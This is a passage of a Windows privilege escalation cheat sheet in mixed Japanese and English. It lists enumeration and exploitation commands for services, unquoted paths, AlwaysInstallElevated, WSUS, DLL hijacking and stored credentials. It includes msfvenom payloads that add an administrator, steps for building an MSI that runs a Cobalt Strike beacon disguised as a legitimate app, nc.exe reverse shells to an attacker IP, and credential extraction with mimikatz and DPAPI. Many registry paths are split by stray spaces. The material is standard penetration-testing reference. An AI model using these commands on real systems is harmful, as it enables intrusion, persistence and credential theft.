Best tool to look for Windows local privilege escalation vectors: WinPEAS Initial Windows Theory
Access Tokens
Windowsのアクセス トークンが何であるか知らない場合は、続行する前に次のページをお読みください:
Access Tokens ACLs - DACLs/SACLs/ACEs
ACLs - DACLs/SACLs/ACEsに関する詳細情報は、次のページを確認してください:
ACLs - DACLs/SACLs/ACEs Integrity Levels
Windowsの整合性レベルが何であるか知らない場合は、続行する前に次のページをお読みください:
Integrity Levels Windows Security Controls
Windowsには、システムの列挙を妨げる 、実行可能ファイルを実行する、またはあなたの活動を検出する ことさえできるさまざまな要素があります。特権昇格の列挙を開始する前に、次のページ を読み 、これらの防御****メカニズム をすべて列挙 する必要があります:
Windows Security Controls System Info
Version info enumeration
Windowsのバージョンに既知の脆弱性があるかどうかを確認してください(適用されたパッチも確認してください)。
Copy systeminfo
systeminfo | findstr /B /C: "OS Name" /C: "OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
Copy [System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Version Exploits
このサイト は、Microsoftのセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには4,700以上のセキュリティ脆弱性があり、Windows環境が持つ大規模な攻撃面 を示しています。
システム上で
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
winpeas (Winpeasにはwatsonが組み込まれています)
システム情報を使用してローカルに
エクスプロイトのGithubリポジトリ:
Environment
環境変数に保存された資格情報/重要な情報はありますか?
Copy set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShellの履歴
Copy ConsoleHost_history #Find the PATH where is saved
type %userprofile% \A ppData \R oaming \M icrosoft \W indows \P owerShell \P SReadline \C onsoleHost_history.txt
type C: \U sers \s wissky \A ppData \R oaming \M icrosoft \W indows \P owerShell \P SReadline \C onsoleHost_history.txt
type $env :APPDATA \M icrosoft \W indows \P owerShell \P SReadLine \C onsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell トランスクリプトファイル
これをオンにする方法は、https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ で学ぶことができます。
Copy #Check is enable in the registry
reg query HKCU \S oftware \P olicies \M icrosoft \W indows \P owerShell \T ranscription
reg query HKLM \S oftware \P olicies \M icrosoft \W indows \P owerShell \T ranscription
reg query HKCU \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \T ranscription
reg query HKLM \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \T ranscription
dir C: \T ranscripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell モジュール ロギング
PowerShell パイプラインの実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、完全な実行の詳細や出力結果はキャプチャされない場合があります。
これを有効にするには、ドキュメントの「トランスクリプトファイル」セクションの指示に従い、**「モジュール ロギング」を選択してください。 「Powershell トランスクリプション」**の代わりに。
Copy reg query HKCU \S oftware \P olicies \M icrosoft \W indows \P owerShell \M oduleLogging
reg query HKLM \S oftware \P olicies \M icrosoft \W indows \P owerShell \M oduleLogging
reg query HKCU \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \M oduleLogging
reg query HKLM \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \M oduleLogging
PowersShellログから最後の15イベントを表示するには、次のコマンドを実行できます:
Copy Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell スクリプトブロックロギング
スクリプトの実行の完全な活動と全内容の記録がキャプチャされ、実行されるコードの各ブロックが文書化されることを保証します。このプロセスは、各活動の包括的な監査証跡を保持し、フォレンジックや悪意のある行動の分析にとって貴重です。実行時にすべての活動を文書化することにより、プロセスに関する詳細な洞察が提供されます。
Copy reg query HKCU \S oftware \P olicies \M icrosoft \W indows \P owerShell \S criptBlockLogging
reg query HKLM \S oftware \P olicies \M icrosoft \W indows \P owerShell \S criptBlockLogging
reg query HKCU \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \S criptBlockLogging
reg query HKLM \W ow6432Node \S oftware \P olicies \M icrosoft \W indows \P owerShell \S criptBlockLogging
スクリプトブロックのログイベントは、Windowsイベントビューアのパス Application and Services Logs > Microsoft > Windows > PowerShell > Operational にあります。
最後の20件のイベントを表示するには、次のコマンドを使用できます:
Copy Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
インターネット設定
Copy reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
ドライブ
Copy wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where { $_ .Provider -like "Microsoft.PowerShell.Core\FileSystem" } | ft Name,Root
WSUS
更新がhttpではなくhttpS を使用してリクエストされていない場合、システムを侵害することができます。
次のコマンドを実行して、ネットワークが非SSL WSUS更新を使用しているかどうかを確認します:
Copy reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
もし次のような返信があった場合:
Copy HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
is equals to 1
.
Then, それは悪用可能です。 If the last registry is equals to 0, then, the WSUS entry will be ignored.
In orther to exploit this vulnerabilities you can use tools like: Wsuxploit , pyWSUS - These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic.
Read the research here:
WSUS CVE-2020-1013
完全なレポートをこちらで読む .
Basically, this is the flaw that this bug exploits:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
You can exploit this vulnerability using the tool WSUSpicious (once it's liberated).
KrbRelayUp
A ローカル特権昇格 vulnerability exists in Windows ドメイン environments under specific conditions. These conditions include environments where LDAP署名が強制されていない, users possess self-rights allowing them to configure リソースベースの制約付き委任 (RBCD), and the capability for users to create computers within the domain. It is important to note that these 要件 are met using デフォルト設定 .
Find the exploit in https://github.com/Dec0ne/KrbRelayUp
For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
もし these 2 registers are 有効 (value is 0x1 ), then users of any privilege can インストール (execute) *.msi
files as NT AUTHORITY\SYSTEM .
Copy reg query HKCU \S OFTWARE \P olicies \M icrosoft \W indows \I nstaller /v AlwaysInstallElevated
reg query HKLM \S OFTWARE \P olicies \M icrosoft \W indows \I nstaller /v AlwaysInstallElevated
Metasploit ペイロード
Copy msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
もしmeterpreterセッションがある場合、モジュール**exploit/windows/local/always_install_elevated
**を使用してこの技術を自動化できます。
PowerUP
Write-UserAddMSI
コマンドをpower-upから使用して、現在のディレクトリ内にWindows MSIバイナリを作成し、特権を昇格させます。このスクリプトは、ユーザー/グループの追加を促す事前コンパイルされたMSIインストーラーを書き出します(そのため、GIUアクセスが必要です):
Just execute the created binary to escalate privileges.
MSI Wrapper
このチュートリアルを読んで、このツールを使用してMSIラッパーを作成する方法を学びます。コマンドラインを実行 したいだけの場合は、".bat "ファイルをラップできます。
MSI Wrapper Create MSI with WIX
Create MSI with WIX Create MSI with Visual Studio
Cobalt Strike またはMetasploit を使用して、C:\privesc\beacon.exe
に新しいWindows EXE TCPペイロード を生成します。
Visual Studio を開き、新しいプロジェクトを作成 を選択し、検索ボックスに「installer」と入力します。Setup Wizard プロジェクトを選択し、次へ をクリックします。
プロジェクトにAlwaysPrivesc のような名前を付け、場所に**C:\privesc
**を使用し、ソリューションとプロジェクトを同じディレクトリに配置 を選択し、作成 をクリックします。
次へ をクリックし続け、4つのステップのうちの3ステップ目(含めるファイルを選択)に到達します。追加 をクリックし、先ほど生成したBeaconペイロードを選択します。次に、完了 をクリックします。
ソリューションエクスプローラー でAlwaysPrivesc プロジェクトを強調表示し、プロパティ でTargetPlatform をx86 からx64 に変更します。
Author やManufacturer など、インストールされたアプリをより正当なものに見せるために変更できる他のプロパティもあります。
プロジェクトを右クリックし、表示 > カスタムアクション を選択します。
Install を右クリックし、カスタムアクションの追加 を選択します。
Application Folder をダブルクリックし、beacon.exe ファイルを選択してOK をクリックします。これにより、インストーラーが実行されるとすぐにビークンペイロードが実行されることが保証されます。
カスタムアクションプロパティ の下で、Run64Bit をTrue に変更します。
警告File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'
が表示された場合は、プラットフォームをx64に設定していることを確認してください。
MSI Installation
悪意のある.msi
ファイルのインストール をバックグラウンド で実行するには:
Copy msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
この脆弱性を悪用するには、次を使用できます: exploit/windows/local/always_install_elevated
アンチウイルスと検出器
監査設定
これらの設定は何がログ されるかを決定するため、注意を払うべきです。
Copy reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwardingは、ログがどこに送信されるかを知ることが興味深いです。
Copy reg query HKLM \S oftware \P olicies \M icrosoft \W indows \E ventLog \E ventForwarding \S ubscriptionManager
LAPS
LAPS は、ローカル管理者パスワードの管理 を目的としており、ドメインに参加しているコンピュータ上で各パスワードが一意で、ランダム化され、定期的に更新される ことを保証します。これらのパスワードはActive Directory内に安全に保存され、ACLを通じて十分な権限が付与されたユーザーのみがアクセスでき、認可されている場合にローカル管理者パスワードを表示できます。
LAPS WDigest
アクティブな場合、平文のパスワードはLSASS (ローカルセキュリティ権限サブシステムサービス)に保存されます。
WDigestに関する詳細はこのページを参照してください .
Copy reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA保護
Windows 8.1 以降、Microsoftはローカルセキュリティ機関(LSA)の強化された保護を導入し、信頼されていないプロセス によるメモリの読み取り やコードの注入をブロック することで、システムのセキュリティをさらに強化しました。
LSA保護に関する詳細はこちら .
Copy reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard は Windows 10 で導入されました。その目的は、デバイスに保存された資格情報をパス・ザ・ハッシュ攻撃のような脅威から保護することです。| Credentials Guardに関する詳細はこちら。
Copy reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
キャッシュされた資格情報
ドメイン資格情報 は、ローカルセキュリティ機関 (LSA)によって認証され、オペレーティングシステムのコンポーネントによって利用されます。ユーザーのログオンデータが登録されたセキュリティパッケージによって認証されると、通常、ユーザーのドメイン資格情報が確立されます。
キャッシュされた資格情報の詳細はこちら .
Copy reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
ユーザーとグループ
ユーザーとグループの列挙
自分が所属するグループに興味深い権限があるかどうかを確認する必要があります。
Copy # CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C: \U sers -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
特権グループ
もしあなたが特権グループに属している場合、特権を昇格させることができるかもしれません 。特権グループについて学び、特権を昇格させるためにそれらを悪用する方法についてはこちらを参照してください:
Privileged Groups トークン操作
このページでトークンとは何か について詳しく学んでください :Windows トークン 。
次のページをチェックして興味深いトークンについて学び 、それらを悪用する方法を確認してください:
Abusing Tokens ログインユーザー / セッション
Copy qwinsta
klist sessions
ホームフォルダー
Copy dir C:\Users
Get-ChildItem C:\Users
パスワードポリシー
クリップボードの内容を取得する
Copy powershell -command "Get-Clipboard"
実行中のプロセス
ファイルとフォルダーの権限
まず、プロセスをリストアップしてプロセスのコマンドライン内のパスワードを確認 します。
実行中のバイナリを上書きできるか 、またはバイナリフォルダーの書き込み権限があるかを確認して、可能なDLLハイジャック攻撃 を利用します:
Copy Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where { $_ .ProcessName -notlike "svchost*" } | ft ProcessName, Id
常に実行中の可能性のある electron/cef/chromiumデバッガー を確認してください。これを悪用して特権を昇格させることができます 。
プロセスバイナリの権限を確認する
Copy for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^ "^ delims^=^" %%z in ( 'echo %%x' ) do (
icacls "%%z"
2> nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo .
)
)
プロセスバイナリのフォルダの権限を確認する ( DLL Hijacking )
Copy for /f "tokens=2 delims='='" %%x in ( 'wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"' ) do for /f eol^=^ "^ delims^=^" %%y in ( 'echo %%x' ) do (
icacls "%%~dpy\" 2>nul | findstr /i " ( F ) (M) ( W ) :\\ " | findstr /i " :\\ everyone authenticated users
todos %username% " && echo.
)
メモリパスワードマイニング
procdump を使用して、実行中のプロセスのメモリダンプを作成できます。FTPのようなサービスはメモリ内に平文の資格情報を持っています ので、メモリをダンプして資格情報を読み取ってみてください。
Copy procdump.exe -accepteula -ma < proc_name_tasklis t >
不安全なGUIアプリ
SYSTEMとして実行されているアプリケーションは、ユーザーがCMDを起動したり、ディレクトリをブラウズしたりすることを許可する場合があります。
例: "Windowsヘルプとサポート" (Windows + F1)、"コマンドプロンプト"を検索し、"コマンドプロンプトを開くをクリック"をクリック
サービス
サービスのリストを取得:
Copy net start
wmic service list brief
sc query
Get-Service
パーミッション
sc を使用してサービスの情報を取得できます。
accesschk バイナリを Sysinternals から取得し、各サービスの必要な特権レベルを確認することをお勧めします。
Copy accesschk.exe -ucqv < Service_Nam e > #Check rights for different groups
"Authenticated Users" がサービスを変更できるかどうかを確認することをお勧めします:
Copy accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2> nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
こちらからXP用のaccesschk.exeをダウンロードできます
サービスを有効にする
このエラーが発生している場合(例えばSSDPSRVの場合):
システムエラー1058が発生しました。
サービスは無効になっているか、関連付けられた有効なデバイスがないため、開始できません。
次のコマンドを使用して有効にできます。
Copy sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
この問題の別の回避策 は、次のコマンドを実行することです:
Copy sc.exe config usosvc start= auto
サービスバイナリパスの変更
「認証されたユーザー」グループがサービスに対してSERVICE_ALL_ACCESS を持つシナリオでは、サービスの実行可能バイナリを変更することが可能です。sc を変更して実行するには:
Copy sc config < Service_Nam e > binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config < Service_Nam e > binpath= "net localgroup administrators username /add"
sc config < Service_Nam e > binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
サービスの再起動
Copy wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
特権はさまざまな権限を通じて昇格できます:
SERVICE_CHANGE_CONFIG : サービスバイナリの再構成を許可します。
WRITE_DAC : 権限の再構成を可能にし、サービス設定の変更ができるようになります。
WRITE_OWNER : 所有権の取得と権限の再構成を許可します。
GENERIC_WRITE : サービス設定を変更する能力を継承します。
GENERIC_ALL : サービス設定を変更する能力も継承します。
この脆弱性の検出と悪用には、exploit/windows/local/service_permissions を利用できます。
サービスバイナリの弱い権限
サービスによって実行されるバイナリを変更できるかどうか 、またはバイナリが存在するフォルダーに対する書き込み権限があるかどうかを確認してください (DLL Hijacking )。
wmic (system32ではない)を使用してサービスによって実行されるすべてのバイナリを取得し、icacls を使用して権限を確認できます:
Copy for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^ "^ delims^=^" %a in ( %temp%\perm.txt ) do cmd.exe /c icacls "%a" 2> nul | findstr "(M) (F) :\"
sc と icacls も使用できます:
Copy sc query state= all | findstr "SERVICE_NAME:" >> C: \T emp \S ervicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C: \T emp \p ath.txt
サービスレジストリの変更権限
サービスレジストリを変更できるか確認する必要があります。
サービスレジストリに対する権限を確認 するには、次のようにします:
Copy reg query hklm \S ystem \C urrentControlSet \S ervices /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM: \S ystem \C urrentControlSet \s ervices \* | Format-List * | findstr /i "<Username> Users Path Everyone"
Authenticated Users または NT AUTHORITY\INTERACTIVE が FullControl
権限を持っているかどうかを確認する必要があります。もしそうであれば、サービスによって実行されるバイナリを変更することができます。
実行されるバイナリのパスを変更するには:
Copy reg add HKLM \S YSTEM \C urrentControlSet \s ervices \< service_nam e > /v ImagePath /t REG_EXPAND_SZ /d C: \p ath \n ew \b inary /f
サービスレジストリのAppendData/AddSubdirectory権限
この権限を持っている場合、このレジストリからサブレジストリを作成できる ことを意味します。Windowsサービスの場合、これは任意のコードを実行するのに十分です:
AppendData/AddSubdirectory permission over service registry 引用されていないサービスパス
実行可能ファイルへのパスが引用符で囲まれていない場合、Windowsはスペースの前のすべての部分を実行しようとします。
例えば、パス C:\Program Files\Some Folder\Service.exe の場合、Windowsは次のように実行しようとします:
Copy C:\ Program.exe
C:\Program Files\ Some.exe
C:\Program Files\Some Folder\ Service.exe
すべての引用されていないサービスパスをリストし、組み込みのWindowsサービスに属するものは除外します:
Copy wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted - Verbose
Copy for / f "tokens=2" %% n in ( 'sc query state^= all^| findstr SERVICE_NAME' ) do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
Copy gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
この脆弱性を検出し、悪用することができます metasploitを使用して: exploit/windows/local/trusted\_service\_path
metasploitを使用してサービスバイナリを手動で作成できます:
Copy msfvenom -p windows/exec CMD= "net localgroup administrators username /add" -f exe-service -o service.exe
Recovery Actions
Windowsは、サービスが失敗した場合に実行されるアクションを指定することをユーザーに許可します。この機能は、バイナリを指すように構成できます。このバイナリが置き換え可能であれば、特権昇格が可能かもしれません。詳細は公式ドキュメント で確認できます。
Applications
Installed Applications
バイナリの権限 (上書きして特権を昇格できるかもしれません)とフォルダー の権限を確認してください(DLL Hijacking )。
Copy dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
書き込み権限
特定のファイルを読み取るために設定ファイルを変更できるか、または管理者アカウント(schedtasks)によって実行されるバイナリを変更できるかを確認します。
システム内の弱いフォルダー/ファイルの権限を見つける方法は次のとおりです:
Copy accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
Copy icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Copy Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
スタートアップ時に実行
異なるユーザーによって実行されるレジストリまたはバイナリを上書きできるか確認してください。
以下のページを読んで、特権を昇格させるための興味深い autorunsの場所 について学んでください :
Privilege Escalation with Autoruns ドライバー
可能なサードパーティの奇妙/脆弱な ドライバーを探してください。
Copy driverquery
driverquery.exe /fo table
driverquery /SI
PATH DLL ハイジャック
もしPATH内のフォルダに書き込み権限がある場合 、プロセスによって読み込まれるDLLをハイジャックし、権限を昇格させる ことができるかもしれません。
PATH内のすべてのフォルダの権限を確認してください:
Copy for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
このチェックを悪用する方法の詳細については、次を参照してください:
Writable Sys Path +Dll Hijacking Privesc ネットワーク
共有
Copy net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
ホストファイルにハードコーディングされた他の既知のコンピュータを確認します。
Copy type C:\Windows\System32\drivers\etc\hosts
ネットワークインターフェースとDNS
Copy ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Open Ports
外部からの制限されたサービス を確認します
Copy netstat -ano #Opened ports?
ルーティングテーブル
Copy route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARPテーブル
Copy arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
ファイアウォールルール
ファイアウォール関連のコマンドについてはこのページを確認してください (ルールのリスト、ルールの作成、オフにする、オフにする...)
さらにネットワーク列挙のためのコマンドはこちら
Windows Subsystem for Linux (wsl)
Copy C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
バイナリ bash.exe
は C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
にも見つけることができます。
ルートユーザーを取得すると、任意のポートでリスニングできます(nc.exe
を使用してポートでリスニングする最初の時に、GUIを通じて nc
がファイアウォールによって許可されるべきかどうか尋ねられます)。
Copy wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
bashを簡単にrootとして起動するには、--default-user root
を試すことができます。
WSL
ファイルシステムは、フォルダーC:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
で探索できます。
Windows資格情報
Winlogon資格情報
Copy reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows ボールトは、サーバー、ウェブサイト、および他のプログラムのユーザー資格情報を保存します。これにより、Windows はユーザーを自動的にログインさせることができます。一見すると、ユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存し、ブラウザを介して自動的にログインできるように見えるかもしれません。しかし、そうではありません。
Windowsボールトは、Windows がユーザーを自動的にログインさせることができる資格情報を保存します。これは、リソース(サーバーまたはウェブサイト)にアクセスするために資格情報を必要とする任意のWindowsアプリケーションがこのCredential Manager & Windowsボールトを利用し、ユーザーが常にユーザー名とパスワードを入力する代わりに提供された資格情報を使用できることを意味します。
アプリケーションがCredential Managerと相互作用しない限り、特定のリソースの資格情報を使用することは不可能だと思います。したがって、アプリケーションがボールトを利用したい場合は、何らかの方法で資格情報マネージャーと通信し、そのリソースの資格情報をデフォルトのストレージボールトから要求する必要があります 。
cmdkey
を使用して、マシン上に保存されている資格情報のリストを表示します。
Copy cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
次に、保存された資格情報を使用するために /savecred
オプションを使用して runas
を実行できます。以下の例は、SMB 共有を介してリモートバイナリを呼び出しています。
Copy runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas
を提供された資格情報で使用する。
Copy C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
注意してください、mimikatz、lazagne、credentialfileview 、VaultPasswordView 、またはEmpire Powershells module から。
DPAPI
データ保護API (DPAPI) は、データの対称暗号化の方法を提供し、主にWindowsオペレーティングシステム内で非対称秘密鍵の対称暗号化に使用されます。この暗号化は、ユーザーまたはシステムの秘密を利用してエントロピーに大きく寄与します。
DPAPIは、ユーザーのログイン秘密から導出された対称鍵を通じて鍵の暗号化を可能にします 。システム暗号化が関与するシナリオでは、システムのドメイン認証秘密を利用します。
DPAPIを使用して暗号化されたユーザーRSA鍵は、%APPDATA%\Microsoft\Protect\{SID}
ディレクトリに保存され、ここで{SID}
はユーザーのセキュリティ識別子 を表します。DPAPIキーは、ユーザーの秘密鍵を同じファイル内で保護するマスターキーと共に配置されており 、通常は64バイトのランダムデータで構成されています。(このディレクトリへのアクセスは制限されており、CMDのdir
コマンドを使用してその内容をリストすることはできませんが、PowerShellを通じてリストすることは可能です)。
Copy Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
mimikatzモジュール dpapi::masterkey
を適切な引数(/pvk
または /rpc
)と共に使用して、それを復号化できます。
マスターパスワードによって保護された資格情報ファイル は通常、次の場所にあります:
Copy dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
mimikatzモジュール dpapi::cred
を適切な /masterkey
と共に使用して復号化できます。
メモリ から 多くのDPAPI マスタキー を sekurlsa::dpapi
モジュールを使って抽出できます(あなたがルートである場合)。
DPAPI - Extracting Passwords PowerShell資格情報
PowerShell資格情報 は、暗号化された資格情報を便利に保存する方法として、スクリプト および自動化タスクでよく使用されます。資格情報は DPAPI を使用して保護されており、通常、作成された同じコンピュータ上の同じユーザーによってのみ復号化できます。
ファイルからPS資格情報を復号化 するには、次のようにします:
Copy PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
